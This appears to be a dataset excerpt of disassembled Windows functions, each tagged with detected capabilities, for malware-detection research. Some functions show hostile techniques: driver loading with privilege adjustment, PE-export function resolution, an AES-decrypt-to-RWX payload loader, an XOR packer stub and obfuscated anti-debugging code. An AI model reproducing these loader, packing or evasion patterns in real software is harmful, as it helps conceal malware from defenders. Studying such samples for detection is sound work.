joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a930
Capabilities:
Link many functions at runtime

Disassembly:
cmp dword [0x100516b8], 0
jne 0x1000aabb
cmp dword [0x100516d0], 0
jne 0x1000aabb
cmp dword [0x100516e0], 0
jne 0x1000aabb
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.ntdll.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100516b8], eax
test eax, eax
je 0x1000a9cc
push str.NtLoadDriver
push eax
call esi
mov dword [0x100516bc], eax
mov eax, dword [0x100516b8]
push str.NtUnloadDriver
push eax
call esi
mov ecx, dword [0x100516b8]
push str.RtlAdjustPrivilege
push ecx
mov dword [0x100516c0], eax
call esi
mov edx, dword [0x100516b8]
push str.RtlAnsiStringToUnicodeString
push edx
mov dword [0x100516c4], eax
call esi
mov dword [0x100516c8], eax
mov eax, dword [0x100516b8]
push str.RtlFreeUnicodeString
push eax
call esi
mov dword [0x100516cc], eax
push str.psapi.dll
call edi
mov dword [0x100516d0], eax
test eax, eax
je 0x1000aa0f
push str.EnumProcessModules
push eax
call esi
mov ecx, dword [0x100516d0]
push str.GetModuleBaseNameW
push ecx
mov dword [0x100516d4], eax
call esi
mov edx, dword [0x100516d0]
push str.GetModuleFileNameExW
push edx
mov dword [0x100516d8], eax
call esi
mov dword [0x100516dc], eax
push str.kernel32.dll
call edi
mov dword [0x100516e0], eax
test eax, eax
je 0x1000aa89
push str.VirtualAllocEx
push eax
call esi
mov dword [0x100516e4], eax
mov eax, dword [0x100516e0]
push str.VirtualFreeEx
push eax
call esi
mov ecx, dword [0x100516e0]
push str.IsWow64Process
push ecx
mov dword [0x100516e8], eax
call esi
mov edx, dword [0x100516e0]
push str.GetSystemWow64DirectoryW
push edx
mov dword [0x100516ec], eax
call esi
mov dword [0x100516f0], eax
mov eax, dword [0x100516e0]
push str.Wow64DisableWow64FsRedirection
push eax
call esi
mov ecx, dword [0x100516e0]
push str.Wow64RevertWow64FsRedirection
push ecx
mov dword [0x100516f4], eax
call esi
mov dword [0x100516f8], eax
push str.iphlpapi.dll
call edi
mov dword [0x100516fc], eax
test eax, eax
je 0x1000aab9
push str.GetAdaptersInfo
push eax
call esi
mov edx, dword [0x100516fc]
push str.GetIfTable
push edx
mov dword [0x10051700], eax
call esi
mov dword [0x10051704], eax
pop edi
pop esi
ret

Function at 0x1000b080
Capabilities:
Start service

Disassembly:
push edi
mov edi, ecx
mov eax, dword [edi + 0xc]
test eax, eax
jne 0x1000b08c
pop edi
ret
push esi
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
test esi, esi
jne 0x1000b0b2
cmp eax, 0x420
jne 0x1000b0b2
mov esi, 1
mov eax, esi
pop esi
pop edi
ret

Function at 0x1000b0c0
Capabilities:
Query service status

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0xc]
test eax, eax
jne 0x1000b0cc
pop esi
ret
push edi
lea ecx, [esi + 0x10]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
mov eax, edi
pop edi
pop esi
ret
Function at 0x1000b0f0
Capabilities:
Modify service

Disassembly:
push edi
mov edi, ecx
mov eax, dword [edi + 0xc]
test eax, eax
jne 0x1000b100
xor eax, eax
pop edi
ret 4
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x1000b0fa
push esi
push 0
push 0
push 0
push 0
push 0
push 0
push ecx
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0xffffffffffffffff
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
mov eax, esi
pop esi
pop edi
ret 4

Function at 0x1000b1e0
Capabilities:
Create service

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0xc], 0
je 0x1000b1f9
call fcn.1000b040
cmp eax, 1
je 0x1000b1f9
xor eax, eax
pop esi
ret 8
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 8]
push 0
push 0
push 0
push 0
push eax
lea ecx, [esi + 0x234]
push ecx
push 1
push edx
mov edx, dword [esi + 4]
push 1
push 0xf003f
lea eax, [esi + 0x43c]
push eax
lea ecx, [esi + 0x2c]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [esi + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
xor eax, eax
cmp dword [esi + 0xc], eax
pop esi
setne al
ret 8

Function at 0x1000bd10
Capabilities:
Get file size

Disassembly:
mov ecx, dword [ecx + 0xc]
sub esp, 8
lea eax, [esp + 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
add esp, 8
ret

Function at 0x1000bd30
Capabilities:
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push esi
mov esi, ecx
mov dword [esp + 4], 0
test eax, eax
jbe 0x1000bd6b
mov edx, dword [esp + 0xc]
push 0
lea ecx, [esp + 8]
push ecx
push eax
mov eax, dword [esi + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000bd6b
mov eax, dword [esp + 4]
add dword [esi + 8], eax
pop esi
pop ecx
ret 8
xor eax, eax
pop esi
pop ecx
ret 8

Function at 0x1000bd80
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push esi
mov esi, ecx
mov dword [esp + 4], 0
test eax, eax
jbe 0x1000bdbb
mov edx, dword [esp + 0xc]
push 0
lea ecx, [esp + 8]
push ecx
push eax
mov eax, dword [esi + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000bdbb
mov eax, dword [esp + 4]
add dword [esi + 8], eax
pop esi
pop ecx
ret 8
xor eax, eax
pop esi
pop ecx
ret 8
Function at 0x1000ec20
Capabilities:
Get file size
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x100272a6
mov eax, dword fs:[0]
push eax
sub esp, 0x2e0
mov eax, dword [0x1004f220]
xor eax, esp
mov dword [esp + 0x2dc], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1004f220]
xor eax, esp
push eax
lea eax, [esp + 0x2f4]
mov dword fs:[0], eax
mov edi, dword [esp + 0x304]
mov esi, ecx
lea ecx, [esp + 0x20]
call fcn.1000db10
mov eax, dword [edi + 8]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
mov dword [esp + 0x318], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [esp + 0x14], ebx
or ebp, 0xffffffff
mov byte [esp + 0x2fc], 1
cmp ebx, ebp
jne 0x1000ece6
mov ecx, dword [edi + 4]
mov eax, dword [esi + 0x2b4]
mov edi, dword [edi]
mov dword [esi + 0x2bc], 0xcc
test eax, eax
je 0x1000ecd1
push ecx
mov ecx, dword [esi + 0x2b0]
push edi
push 0xcc
push 1
push ecx
call eax
lea ecx, [esp + 0x14]
call fcn.1000da80
mov dword [esp + 0x2fc], ebp
jmp 0x1000ee50
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x18], eax
cmp eax, ebp
jne 0x1000ed37
mov ecx, dword [edi + 4]
mov eax, dword [esi + 0x2b4]
mov edi, dword [edi]
mov dword [esi + 0x2bc], 0xdb
test eax, eax
je 0x1000ed22
mov edx, dword [esi + 0x2b0]
push ecx
push edi
push 0xdb
push 1
push edx
call eax
lea ecx, [esp + 0x14]
call fcn.1000da80
mov dword [esp + 0x2fc], ebp
jmp 0x1000ee50
cmp eax, 0xc
jae 0x1000ed6d
cmp eax, 0x10000
jbe 0x1000ed6d
mov eax, dword [edi + 4]
mov ecx, dword [edi]
push eax
push ecx
push 0xdb
push 1
mov ecx, esi
call fcn.1000dad0
lea ecx, [esp + 0x14]
call fcn.1000da80
mov dword [esp + 0x2fc], ebp
jmp 0x1000ee50
push eax
call fcn.1001526d
add esp, 4
push 0
mov ebp, eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x20]
push edx
push eax
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1000edb3
push ebp
call fcn.10014c14
mov ecx, dword [edi + 4]
mov edx, dword [edi]
add esp, 4
push ecx
push edx
push 0xdb
push 1
mov ecx, esi
call fcn.1000dad0
jmp 0x1000ee3c
lea ecx, [esp + 0x14]
call fcn.1000da80
mov eax, dword [esi + 0x2b0]
mov ecx, dword [esi + 0x2b4]
mov dword [esp + 0x2d0], eax
mov dword [esp + 0xc0], eax
mov eax, dword [esi + 0x2a8]
mov dword [esp + 0x2d4], ecx
mov dword [esp + 0xc4], ecx
mov ecx, dword [esi + 0x2ac]
mov dword [esp + 0x2c8], eax
mov dword [esp + 0xb8], eax
mov eax, dword [esp + 0x1c]
push 1
push eax
mov dword [esp + 0x2d4], ecx
mov dword [esp + 0xbc], ecx
push ebp
lea ecx, [esp + 0x2c]
mov byte [esp + 0xc8], 1
call fcn.1000eb10
push ebp
mov edi, eax
call fcn.10014c14
add esp, 4
test edi, edi
je 0x1000ee3c
push edi
mov ecx, esi
call fcn.1000dd30
lea ecx, [esp + 0x14]
call fcn.1000da80
mov dword [esp + 0x2fc], 0xffffffff
lea ecx, [esp + 0x20]
call fcn.1000dba0
mov ecx, dword [esp + 0x2f4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x2dc]
xor ecx, esp
call fcn.100140b8
add esp, 0x2ec
ret 4

Function at 0x10010250
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
lea eax, [esp]
push eax
push 0x40
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x100140b8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1004f220]
jne 0x100140c2
repz ret
jmp fcn.1001858a

Function at 0x1001e5b5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1001892b
and dword [ebp - 4], 0
cmp dword [0x100520d4], 0
mov ebx, eax
jne 0x1001e666
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1001e717
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1001e717
push eax
call fcn.100188b9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x100520d4], eax
call esi
push eax
call fcn.100188b9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x100520d8], eax
call esi
push eax
call fcn.100188b9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x100520dc], eax
call esi
push eax
call fcn.100188b9
pop ecx
mov dword [0x100520e4], eax
test eax, eax
je 0x1001e666
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100188b9
pop ecx
mov dword [0x100520e0], eax
mov eax, dword [0x100520e0]
cmp eax, ebx
je 0x1001e6be
cmp dword [0x100520e4], ebx
je 0x1001e6be
push eax
call fcn.10018934
push dword [0x100520e4]
mov esi, eax
call fcn.10018934
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1001e6be
test edi, edi
je 0x1001e6be
call esi
test eax, eax
je 0x1001e6b5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001e6b5
test byte [ebp - 0xc], 1
jne 0x1001e6be
or dword [ebp + 0x10], 0x200000
jmp 0x1001e6f7
mov eax, dword [0x100520d8]
cmp eax, ebx
je 0x1001e6f7
push eax
call fcn.10018934
pop ecx
test eax, eax
je 0x1001e6f7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1001e6f7
mov eax, dword [0x100520dc]
cmp eax, ebx
je 0x1001e6f7
push eax
call fcn.10018934
pop ecx
test eax, eax
je 0x1001e6f7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x100520d4]
call fcn.10018934
pop ecx
test eax, eax
je 0x1001e717
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1001e719
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x793e54
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
pop eax
pop ebx
pop edi
push eax
cmp edi, 0xffff
ja 0x793e64
mov ecx, edi
xor edi, edi
mov edx, ebx
cmp word [ebx], 0x5a4d
jne 0x793ed3
movzx eax, word [ebx + 0x3c]
add ebx, eax
cmp word [ebx], 0x4550
jne 0x793ed3
mov ebx, dword [ebx + 0x78]
add ebx, edx
or edi, edi
je 0x793ec4
mov esi, dword [ebx + 0x20]
add esi, edx
mov ecx, dword [ebx + 0x18]
push ebx
xor ebx, ebx
lodsd eax, dword [esi]
add eax, edx
push esi
push edi
xchg esi, edi
xchg edi, eax
lodsb al, byte [esi]
or al, al
jne 0x793ea2
cmp byte [edi], 0
je 0x793eab
jmp 0x793ea9
cmp byte [edi], al
jne 0x793ea9
inc edi
jmp 0x793e96
mov al, 1
pop edi
pop esi
or al, al
je 0x793eb7
inc ebx
loop 0x793e8e
pop ebx
jmp 0x793ed3
xchg ebx, eax
pop ebx
mov esi, dword [ebx + 0x24]
add esi, edx
movzx ecx, word [esi + eax*2]
jmp 0x793ec7
sub ecx, dword [ebx + 0x10]
mov esi, dword [ebx + 0x1c]
add esi, edx
xchg ecx, eax
mov eax, dword [esi + eax*4]
add eax, edx
ret
xor eax, eax
ret

Function at 0x794556
Capabilities:
Parse pe header

Disassembly:
enter 4, 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x79458d
cmp word [eax], 0x5a4d
jne 0x79458d
mov ecx, eax
add eax, dword [eax + 0x3c]
cmp word [eax], 0x4550
jne 0x79458d
cmp dword [eax + 0x88], 0
je 0x79458d
push ecx
call fcn.007946c5
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [0x412794]
lea eax, [ebp - 0x1c]
push esi
push edi
push 0xf0000000
push 0x18
push 0
push 0
push eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 2
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
push 0x1c
call fcn.00403349
add esp, 4
mov esi, eax
lea eax, [ebp - 0x18]
push eax
push 0
mov dword [esi], 0x208
mov dword [esi + 4], 0x660e
mov dword [esi + 8], 0x10
movups xmm0, xmmword [0x412798]
push 0
push 0x1c
push esi
movups xmmword [esi + 0xc], xmm0
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x40108f
push esi
call fcn.00403344
add esp, 4
push esi
call fcn.00403344
add esp, 4
lea eax, [ebp - 0x20]
push 0
push eax
push 4
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
mov esi, dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov edi, dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test eax, eax
jne 0x4010c5
push dword [ebp - 0x18]
call esi
push 0
push dword [ebp - 0x1c]
call edi
push ebx
call fcn.00403349
add esp, 4
mov dword [0x44f420], eax
test eax, eax
jne 0x4010e8
push dword [ebp - 0x18]
call esi
push 0
push dword [ebp - 0x1c]
call edi
mov eax, dword [0x44f420]
push ebx
push 0x4127a8
push eax
call fcn.00402750
add esp, 0xc
mov dword [0x44f428], ebx
push 0x44f428
push dword [0x44f420]
push 0
push 1
push 0
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x401135
push dword [0x44f420]
call fcn.00403344
add esp, 4
push dword [ebp - 0x18]
call esi
push 0
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x18]
call esi
push 0
push dword [ebp - 0x1c]
call edi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x6e72656b
push eax
mov dword [ebp - 0x10], 0x32336c65
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x401182
lea eax, [ebp - 0x14]
push eax
call ebx
test eax, eax
jne 0x401182
xor esi, esi
jmp 0x40118c
push str.VirtualAlloc
push eax
call edi
mov esi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x4011a4
lea eax, [ebp - 0x14]
push eax
call ebx
test eax, eax
je 0x4011ac
push str.VirtualProtect
push eax
call edi
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], 0
push ecx
push 0x40
push dword [0x44f428]
push dword [0x44f420]
call eax
push 0x40
push 0x3000
push dword [0x44f428]
push 0
call esi
mov dword [0x44f424], eax
pop edi
pop esi
pop ebx
test eax, eax
je 0x4011f9
push dword [0x44f428]
push dword [0x44f420]
push eax
call fcn.00402750
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401228
mov esp, ebp
pop ebp
ret
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x3308550c
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
mov ecx, 0x6ef55eb
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x107329cc
Capabilities:
Execute anti-debugging instructions

Disassembly:
neg esi
sub esi, 0x5359343a
cdq
xchg ebx, eax
rol esi, 1
mov ax, bp
bsr bx, bx
rdtsc
neg esi
xchg edi, edx
mov ah, cl
dec esi
cmc
stc
add esi, ecx
mov ebp, esp
or ebx, esp
cdq
shr bx, 0xa
lea esp, [esp - 0xc0]
mov ebx, esi
not dx
mov edx, 0
bsf eax, ecx
ror ax, 0x61
sub ebx, edx
btr di, ax
lea edi, [0x1034ee8f]
rcl al, cl
mov eax, dword [esi]
cmp edi, edi
stc
clc
add esi, 4
test ecx, ebp
clc
xor eax, ebx
jmp 0x107428ab
jmp edi
push ebx
push edx
not bl
inc bp
push esi
lahf
bswap bx
push ecx
mov esi, ebp
rdtsc
movsx ebp, sp
push edi
jmp 0x103e391f
mov ecx, 0
cdq
push ecx
mov esi, dword [esp + 0x28]
movsx ebp, bp
bswap bx
xchg edi, ebx
inc esi
rcr al, cl
ror esi, 3
or al, ah
lea esi, [esi + 0x640e3684]
jmp 0x1034ee48
pushfd
push ebp
movzx ebp, ax
push eax
jmp 0x103b4475
inc eax
test cx, 0x3dd1
clc
cmp si, ax
not eax
stc
xor eax, 0x76961f30
bswap eax
cmp eax, 0x3ad607d3
xor eax, 0x646b33fd
stc
jmp 0x1075601d
rol eax, 1
jmp 0x1076d080
inc eax
cmp cl, 0x3b
xor ebx, eax
add edi, eax
jmp 0x1039f46a
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401013
xor eax, eax
ret
shr eax, 4
not eax
and eax, 1
ret

Function at 0x401020
Capabilities:
Identify system language via api

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
and eax, 0x3f
sub eax, 0xa
je 0x401049
sub eax, 2
je 0x40103e
mov dword [section..data], 2
ret
mov dword [section..data], 1
ret
mov dword [section..data], 3
ret

Function at 0x4012b0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push eax
push 0x400
push 0x401190
call fcn.00401eb8
add esp, 0xc
mov eax, 1
ret

Function at 0x4014d0
Capabilities:
Check mutex on windows

Disassembly:
push 0x40e2f0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0xb7
neg eax
sbb eax, eax
neg eax
sub eax, 1
ret

Function at 0x4018c0
Capabilities:
Identify system language via api

Disassembly:
sub esp, 0x1c
call fcn.004014d0
test eax, eax
je 0x4018dc
push 0x30
call dword [sym.imp.USER32.dll_MessageBeep]
xor eax, eax
add esp, 0x1c
ret 0x10
call fcn.00401020
mov eax, dword [section..data]
add eax, 0xfffffffe
cmp eax, 1
mov eax, str.Execute__
jbe 0x4018f8
mov eax, 0x40e328
push 0x2024
push str.AUTORUN
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
je 0x4018d4
push esi
mov esi, dword [esp + 0x24]
push 0x64
push 0x412320
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadStringA]
push esi
mov dword [0x412318], 0
call fcn.00401830
mov eax, dword [esp + 0x34]
push eax
push esi
call fcn.00401500
add esp, 0xc
test eax, eax
jne 0x40194e
pop esi
add esp, 0x1c
ret 0x10
push edi
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
lea ecx, [esp + 0x14]
push ecx
mov esi, eax
call edi
test eax, eax
je 0x4019b6
push ebx
mov ebx, dword [sym.imp.USER32.dll_TranslateAcceleratorA]
push ebp
mov ebp, dword [sym.imp.USER32.dll_TranslateMessage]
nop
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push edx
push esi
push eax
call ebx
test eax, eax
jne 0x4019a3
lea ecx, [esp + 0x10]
push ecx
call ebp
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
jne 0x401980
pop ebp
pop ebx
mov eax, dword [esp + 0x10]
pop edi
pop esi
add esp, 0x1c
ret 0x10

Function at 0x4019c2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411008]
jne 0x4019cc
repz ret
jmp fcn.00402515
Function at 0x402f09
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x4111c8]
je 0x402f24
inc edi
cmp edi, 0x17
jb 0x402f15
cmp edi, 0x17
jae 0x4030a4
push ebp
push 3
call fcn.00407378
cmp eax, 1
pop ecx
je 0x403070
push 3
call fcn.00407378
test eax, eax
pop ecx
jne 0x402f58
cmp dword [0x411030], 1
je 0x403070
cmp ebx, 0xfc
je 0x4030a3
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x412730
push ebp
call fcn.00406e79
add esp, 0xc
test eax, eax
je 0x402f8e
push esi
push esi
push esi
push esi
push esi
call fcn.00402376
add esp, 0x14
push 0x104
mov esi, 0x412749
push esi
push 0
mov byte [0x41284d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402fd2
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00406e79
add esp, 0xc
test eax, eax
je 0x402fd2
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00402376
add esp, 0x14
push esi
call fcn.00406630
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x403017
push esi
call fcn.00406630
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x412a44
push 0x40e9f4
sub ecx, eax
push ecx
push eax
call fcn.004072c5
add esp, 0x14
test eax, eax
je 0x403017
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00402376
add esp, 0x14
jmp 0x403019
xor esi, esi
push 0x40e9f0
push ebx
push ebp
call fcn.00406e08
add esp, 0xc
test eax, eax
je 0x403039
push esi
push esi
push esi
push esi
push esi
call fcn.00402376
add esp, 0x14
push dword [edi*8 + 0x4111cc]
push ebx
push ebp
call fcn.00406e08
add esp, 0xc
test eax, eax
je 0x40305b
push esi
push esi
push esi
push esi
push esi
call fcn.00402376
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00407108
add esp, 0xc
jmp 0x4030a3
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x4030a3
cmp ebp, 0xffffffff
je 0x4030a3
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x4111cc]
push dword [esi]
call fcn.00406630
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x406d81
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x406dae
call fcn.004024e4
mov dword [eax], esi
call fcn.004024d1
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00402472
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x406d8a
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406ddd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004024f7
pop ecx
call fcn.004024d1
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x406e04
test al, 1
je 0x406e04
test byte [esp + 0xc], 2
je 0x406e04
call fcn.004024e4
mov dword [eax], 5
call fcn.004024d1
mov dword [eax], 0xd
jmp 0x406dd4
xor eax, eax
pop esi
ret